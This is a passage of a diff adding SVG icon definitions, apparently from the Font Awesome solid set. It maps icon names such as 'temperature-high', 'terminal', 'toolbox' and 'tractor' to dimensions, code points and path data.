48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32zm144-8c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm144 0c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm128 8c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32z"], + "temperature-high": [512, 512, [], "f769", "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V112c0-8.8-7.2-16-16-16s-16 7.2-16 16v210.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z"], + "temperature-low": [512, 512, [], "f76b", "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V304c0-8.8-7.2-16-16-16s-16 7.2-16 16v18.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z"], + "tenge": [384, 512, [], "f7d7", "M372 160H12c-6.6 0-12 5.4-12 12v56c0 6.6 5.4 12 12 12h140v228c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12V240h140c6.6 0 12-5.4 12-12v-56c0-6.6-5.4-12-12-12zm0-128H12C5.4 32 0 37.4 0 44v56c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V44c0-6.6-5.4-12-12-12z"], + "terminal": [640, 512, [], "f120", "M257.981 272.971L63.638 467.314c-9.373 9.373-24.569 9.373-33.941 0L7.029 444.647c-9.357-9.357-9.375-24.522-.04-33.901L161.011 256 6.99 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L257.981 239.03c9.373 9.372 9.373 24.568 0 33.941zM640 456v-32c0-13.255-10.745-24-24-24H312c-13.255 0-24 10.745-24 24v32c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24z"], + "text-height": [576, 512, [], "f034", "M304 32H16A16 16 0 0 0 0 48v96a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32h56v304H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h160a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-40V112h56v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm256 336h-48V144h48c14.31 0 21.33-17.31 11.31-27.31l-80-80a16 16 0 0 0-22.62 0l-80 80C379.36 126 384.36 144 400 144h48v224h-48c-14.31 0-21.32 17.31-11.31 27.31l80 80a16 16 0 0 0 22.62 0l80-80C580.64 386 575.64 368 560 368z"], + "text-width": [448, 512, [], "f035", "M432 32H16A16 16 0 0 0 0 48v80a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-16h120v112h-24a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-24V112h120v16a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm-68.69 260.69C354 283.36 336 288.36 336 304v48H112v-48c0-14.31-17.31-21.32-27.31-11.31l-80 80a16 16 0 0 0 0 22.62l80 80C94 484.64 112 479.64 112 464v-48h224v48c0 14.31 17.31 21.33 27.31 11.31l80-80a16 16 0 0 0 0-22.62z"], + "th": [512, 512, [], "f00a", "M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zm181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24zm-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zM181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24z"], + "th-large": [512, 512, [], "f009", "M296 32h192c13.255 0 24 10.745 24 24v160c0 13.255-10.745 24-24 24H296c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24zm-80 0H24C10.745 32 0 42.745 0 56v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zM0 296v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm296 184h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H296c-13.255 0-24 10.745-24 24v160c0 13.255 10.745 24 24 24z"], + "th-list": [512, 512, [], "f00b", "M149.333 216v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-80c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zM125.333 32H24C10.745 32 0 42.745 0 56v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zm80 448H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm-24-424v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24zm24 264H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24z"], + "theater-masks": [640, 512, [], "f630", "M206.86 245.15c-35.88 10.45-59.95 41.2-57.53 74.1 11.4-12.72 28.81-23.7 49.9-30.92l7.63-43.18zM95.81 295L64.08 115.49c-.29-1.62.28-2.62.24-2.65 57.76-32.06 123.12-49.01 189.01-49.01 1.61 0 3.23.17 4.85.19 13.95-13.47 31.73-22.83 51.59-26 18.89-3.02 38.05-4.55 57.18-5.32-9.99-13.95-24.48-24.23-41.77-27C301.27 1.89 277.24 0 253.32 0 176.66 0 101.02 19.42 33.2 57.06 9.03 70.48-3.92 98.48 1.05 126.58l31.73 179.51c14.23 80.52 136.33 142.08 204.45 142.08 3.59 0 6.75-.46 10.01-.8-13.52-17.08-28.94-40.48-39.5-67.58-47.61-12.98-106.06-51.62-111.93-84.79zm97.55-137.46c-.73-4.12-2.23-7.87-4.07-11.4-8.25 8.91-20.67 15.75-35.32 18.32-14.65 2.58-28.67.4-39.48-5.17-.52 3.94-.64 7.98.09 12.1 3.84 21.7 24.58 36.19 46.34 32.37 21.75-3.82 36.28-24.52 32.44-46.22zM606.8 120.9c-88.98-49.38-191.43-67.41-291.98-51.35-27.31 4.36-49.08 26.26-54.04 54.36l-31.73 179.51c-15.39 87.05 95.28 196.27 158.31 207.35 63.03 11.09 204.47-53.79 219.86-140.84l31.73-179.51c4.97-28.11-7.98-56.11-32.15-69.52zm-273.24 96.8c3.84-21.7 24.58-36.19 46.34-32.36 21.76 3.83 36.28 24.52 32.45 46.22-.73 4.12-2.23 7.87-4.07 11.4-8.25-8.91-20.67-15.75-35.32-18.32-14.65-2.58-28.67-.4-39.48 5.17-.53-3.95-.65-7.99.08-12.11zm70.47 198.76c-55.68-9.79-93.52-59.27-89.04-112.9 20.6 25.54 56.21 46.17 99.49 53.78 43.28 7.61 83.82.37 111.93-16.6-14.18 51.94-66.71 85.51-122.38 75.72zm130.3-151.34c-8.25-8.91-20.68-15.75-35.33-18.32-14.65-2.58-28.67-.4-39.48 5.17-.52-3.94-.64-7.98.09-12.1 3.84-21.7 24.58-36.19 46.34-32.37 21.75 3.83 36.28 24.52 32.45 46.22-.73 4.13-2.23 7.88-4.07 11.4z"], + "thermometer": [512, 512, [], "f491", "M476.8 20.4c-37.5-30.7-95.5-26.3-131.9 10.2l-45.7 46 50.5 50.5c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.4-50.5-45.1 45.4 50.3 50.4c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L209 167.4l-45.1 45.4L214 263c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.1-50.2L96 281.1V382L7 471c-9.4 9.4-9.4 24.6 0 33.9 9.4 9.4 24.6 9.4 33.9 0l89-89h99.9L484 162.6c34.9-34.9 42.2-101.5-7.2-142.2z"], + "thermometer-empty": [256, 512, [], "f2cb", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"], + "thermometer-full": [256, 512, [], "f2c7", "M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 11.068 32 31.732 32 55.417z"], + "thermometer-half": [256, 512, [], "f2c9", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"], + "thermometer-quarter": [256, 512, [], "f2ca", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"], + "thermometer-three-quarters": [256, 512, [], "f2c8", "M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"], + "thumbs-down": [512, 512, [], "f165", "M0 56v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56zm40 200c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24zm272 256c-20.183 0-29.485-39.293-33.931-57.795-5.206-21.666-10.589-44.07-25.393-58.902-32.469-32.524-49.503-73.967-89.117-113.111a11.98 11.98 0 0 1-3.558-8.521V59.901c0-6.541 5.243-11.878 11.783-11.998 15.831-.29 36.694-9.079 52.651-16.178C256.189 17.598 295.709.017 343.995 0h2.844c42.777 0 93.363.413 113.774 29.737 8.392 12.057 10.446 27.034 6.148 44.632 16.312 17.053 25.063 48.863 16.382 74.757 17.544 23.432 19.143 56.132 9.308 79.469l.11.11c11.893 11.949 19.523 31.259 19.439 49.197-.156 30.352-26.157 58.098-59.553 58.098H350.723C358.03 364.34 384 388.132 384 430.548 384 504 336 512 312 512z"], + "thumbs-up": [512, 512, [], "f164", "M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z"], + "thumbtack": [384, 512, [], "f08d", "M298.028 214.267L285.793 96H328c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v48c0 13.255 10.745 24 24 24h42.207L85.972 214.267C37.465 236.82 0 277.261 0 328c0 13.255 10.745 24 24 24h136v104.007c0 1.242.289 2.467.845 3.578l24 48c2.941 5.882 11.364 5.893 14.311 0l24-48a8.008 8.008 0 0 0 .845-3.578V352h136c13.255 0 24-10.745 24-24-.001-51.183-37.983-91.42-85.973-113.733z"], + "ticket-alt": [576, 512, [], "f3ff", "M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z"], + "times": [352, 512, [], "f00d", "M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"], + "times-circle": [512, 512, [], "f057", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z"], + "tint": [352, 512, [], "f043", "M205.22 22.09c-7.94-28.78-49.44-30.12-58.44 0C100.01 179.85 0 222.72 0 333.91 0 432.35 78.72 512 176 512s176-79.65 176-178.09c0-111.75-99.79-153.34-146.78-311.82zM176 448c-61.75 0-112-50.25-112-112 0-8.84 7.16-16 16-16s16 7.16 16 16c0 44.11 35.89 80 80 80 8.84 0 16 7.16 16 16s-7.16 16-16 16z"], + "tint-slash": [640, 512, [], "f5c7", "M633.82 458.1L494.97 350.78c.52-5.57 1.03-11.16 1.03-16.87 0-111.76-99.79-153.34-146.78-311.82-7.94-28.78-49.44-30.12-58.44 0-15.52 52.34-36.87 91.96-58.49 125.68L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM144 333.91C144 432.35 222.72 512 320 512c44.71 0 85.37-16.96 116.4-44.7L162.72 255.78c-11.41 23.5-18.72 48.35-18.72 78.13z"], + "tired": [496, 512, [], "f5c8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 288c51.9 0 115.3 43.8 123.2 106.7 1.7 13.6-8 24.6-17.7 20.4-25.9-11.1-64.4-17.4-105.5-17.4s-79.6 6.3-105.5 17.4c-9.8 4.2-19.4-7-17.7-20.4C132.7 331.8 196.1 288 248 288z"], + "toggle-off": [576, 512, [], "f204", "M384 64H192C85.961 64 0 149.961 0 256s85.961 192 192 192h192c106.039 0 192-85.961 192-192S490.039 64 384 64zM64 256c0-70.741 57.249-128 128-128 70.741 0 128 57.249 128 128 0 70.741-57.249 128-128 128-70.741 0-128-57.249-128-128zm320 128h-48.905c65.217-72.858 65.236-183.12 0-256H384c70.741 0 128 57.249 128 128 0 70.74-57.249 128-128 128z"], + "toggle-on": [576, 512, [], "f205", "M384 64H192C86 64 0 150 0 256s86 192 192 192h192c106 0 192-86 192-192S490 64 384 64zm0 320c-70.8 0-128-57.3-128-128 0-70.8 57.3-128 128-128 70.8 0 128 57.3 128 128 0 70.8-57.3 128-128 128z"], + "toilet": [384, 512, [], "f7d8", "M368 48c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v16c0 8.8 7.2 16 16 16h16v156.7C11.8 214.8 0 226.9 0 240c0 67.2 34.6 126.2 86.8 160.5l-21.4 70.2C59.1 491.2 74.5 512 96 512h192c21.5 0 36.9-20.8 30.6-41.3l-21.4-70.2C349.4 366.2 384 307.2 384 240c0-13.1-11.8-25.2-32-35.3V48h16zM80 72c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H88c-4.4 0-8-3.6-8-8V72zm112 200c-77.1 0-139.6-14.3-139.6-32s62.5-32 139.6-32 139.6 14.3 139.6 32-62.5 32-139.6 32z"], + "toilet-paper": [576, 512, [], "f71e", "M128 0C74.98 0 32 85.96 32 192v172.07c0 41.12-9.8 62.77-31.17 126.87C-2.62 501.3 5.09 512 16.01 512h280.92c13.77 0 26-8.81 30.36-21.88 12.83-38.48 24.71-72.4 24.71-126.05V192c0-83.6 23.67-153.52 60.44-192H128zM96 224c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zM480 0c-53.02 0-96 85.96-96 192s42.98 192 96 192 96-85.96 96-192S533.02 0 480 0zm0 256c-17.67 0-32-28.65-32-64s14.33-64 32-64 32 28.65 32 64-14.33 64-32 64z"], + "toilet-paper-slash": [640, 512, [], "e072", "M64,192V364.13c0,41.12-9.75,62.75-31.12,126.87A16,16,0,0,0,48,512H328.86a31.87,31.87,0,0,0,30.38-21.87c9.31-27.83,18-53.35,22.18-85.55l-316-244.25C64.53,170.66,64,181.19,64,192ZM633.82,458.09l-102-78.81C575.28,360.91,608,284.32,608,192,608,86,565,0,512,0s-96,86-96,192c0,42,7,80.4,18.43,112L384,265V192c0-83.62,23.63-153.5,60.5-192H160c-23.33,0-44.63,16.83-61.26,44.53L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09ZM512,256c-17.63,0-32-28.62-32-64s14.37-64,32-64,32,28.63,32,64S529.62,256,512,256Z"], + "toolbox": [512, 512, [], "f552", "M502.63 214.63l-45.25-45.25c-6-6-14.14-9.37-22.63-9.37H384V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v80H77.25c-8.49 0-16.62 3.37-22.63 9.37L9.37 214.63c-6 6-9.37 14.14-9.37 22.63V320h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-82.75c0-8.48-3.37-16.62-9.37-22.62zM320 160H192V96h128v64zm64 208c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H192v16c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H0v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96H384v16z"], + "tools": [512, 512, [], "f7d9", "M501.1 395.7L384 278.6c-23.1-23.1-57.6-27.6-85.4-13.9L192 158.1V96L64 0 0 64l96 128h62.1l106.6 106.6c-13.6 27.8-9.2 62.3 13.9 85.4l117.1 117.1c14.6 14.6 38.2 14.6 52.7 0l52.7-52.7c14.5-14.6 14.5-38.2 0-52.7zM331.7 225c28.3 0 54.9 11 74.9 31l19.4 19.4c15.8-6.9 30.8-16.5 43.8-29.5 37.1-37.1 49.7-89.3 37.9-136.7-2.2-9-13.5-12.1-20.1-5.5l-74.4 74.4-67.9-11.3L334 98.9l74.4-74.4c6.6-6.6 3.4-17.9-5.7-20.2-47.4-11.7-99.6.9-136.6 37.9-28.5 28.5-41.9 66.1-41.2 103.6l82.1 82.1c8.1-1.9 16.5-2.9 24.7-2.9zm-103.9 82l-56.7-56.7L18.7 402.8c-25 25-25 65.5 0 90.5s65.5 25 90.5 0l123.6-123.6c-7.6-19.9-9.9-41.6-5-62.7zM64 472c-13.2 0-24-10.8-24-24 0-13.3 10.7-24 24-24s24 10.7 24 24c0 13.2-10.7 24-24 24z"], + "tooth": [448, 512, [], "f5c9", "M443.98 96.25c-11.01-45.22-47.11-82.06-92.01-93.72-32.19-8.36-63 5.1-89.14 24.33-3.25 2.39-6.96 3.73-10.5 5.48l28.32 18.21c7.42 4.77 9.58 14.67 4.8 22.11-4.46 6.95-14.27 9.86-22.11 4.8L162.83 12.84c-20.7-10.85-43.38-16.4-66.81-10.31-44.9 11.67-81 48.5-92.01 93.72-10.13 41.62-.42 80.81 21.5 110.43 23.36 31.57 32.68 68.66 36.29 107.35 4.4 47.16 10.33 94.16 20.94 140.32l7.8 33.95c3.19 13.87 15.49 23.7 29.67 23.7 13.97 0 26.15-9.55 29.54-23.16l34.47-138.42c4.56-18.32 20.96-31.16 39.76-31.16s35.2 12.85 39.76 31.16l34.47 138.42c3.39 13.61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.7l7.8-33.95c10.61-46.15 16.53-93.16 20.94-140.32 3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z"], + "torah": [640, 512, [], "f6a0", "M320.05 366.48l17.72-29.64h-35.46zm99.21-166H382.4l18.46 30.82zM48 0C21.49 0 0 14.33 0 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32C96 14.33 74.51 0 48 0zm172.74 311.5h36.85l-18.46-30.82zm161.71 0h36.86l-18.45-30.8zM128 464h384V48H128zm66.77-278.13a21.22 21.22 0 0 1 18.48-10.71h59.45l29.13-48.71a21.13 21.13 0 0 1 18.22-10.37A20.76 20.76 0 0 1 338 126.29l29.25 48.86h59.52a21.12 21.12 0 0 1 18.1 32L415.63 256 445 305a20.69 20.69 0 0 1 .24 21.12 21.25 21.25 0 0 1-18.48 10.72h-59.47l-29.13 48.7a21.13 21.13 0 0 1-18.16 10.4 20.79 20.79 0 0 1-18-10.22l-29.25-48.88h-59.5a21.11 21.11 0 0 1-18.1-32L224.36 256 195 207a20.7 20.7 0 0 1-.23-21.13zM592 0c-26.51 0-48 14.33-48 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32c0-17.67-21.49-32-48-32zM320 145.53l-17.78 29.62h35.46zm-62.45 55h-36.81l18.44 30.8zm29.58 111h65.79L386.09 256l-33.23-55.52h-65.79L253.9 256z"], + "torii-gate": [512, 512, [], "f6a1", "M376.45 32h-240.9A303.17 303.17 0 0 1 0 0v96c0 17.67 14.33 32 32 32h32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h256v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h48c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-48v-64h32c17.67 0 32-14.33 32-32V0a303.17 303.17 0 0 1-135.55 32zM128 128h96v64h-96v-64zm256 64h-96v-64h96v64z"], + "tractor": [640, 512, [], "f722", "M528 336c-48.6 0-88 39.4-88 88s39.4 88 88 88 88-39.4 88-88-39.4-88-88-88zm0 112c-13.23 0-24-10.77-24-24s10.77-24 24-24 24 10.77 24 24-10.77 24-24 24zm80-288h-64v-40.2c0-14.12 4.7-27.76 13.15-38.84 4.42-5.8 3.55-14.06-1.32-19.49L534.2 37.3c-6.66-7.45-18.32-6.92-24.7.78C490.58 60.9 480 89.81 480 119.8V160H377.67L321.58 29.14A47.914 47.914 0 0 0 277.45 0H144c-26.47 0-48 21.53-48 48v146.52c-8.63-6.73-20.96-6.46-28.89 1.47L36 227.1c-8.59 8.59-8.59 22.52 0 31.11l5.06 5.06c-4.99 9.26-8.96 18.82-11.91 28.72H22c-12.15 0-22 9.85-22 22v44c0 12.15 9.85 22 22 22h7.14c2.96 9.91 6.92 19.46 11.91 28.73l-5.06 5.06c-8.59 8.59-8.59 22.52 0 31.11L67.1 476c8.59 8.59 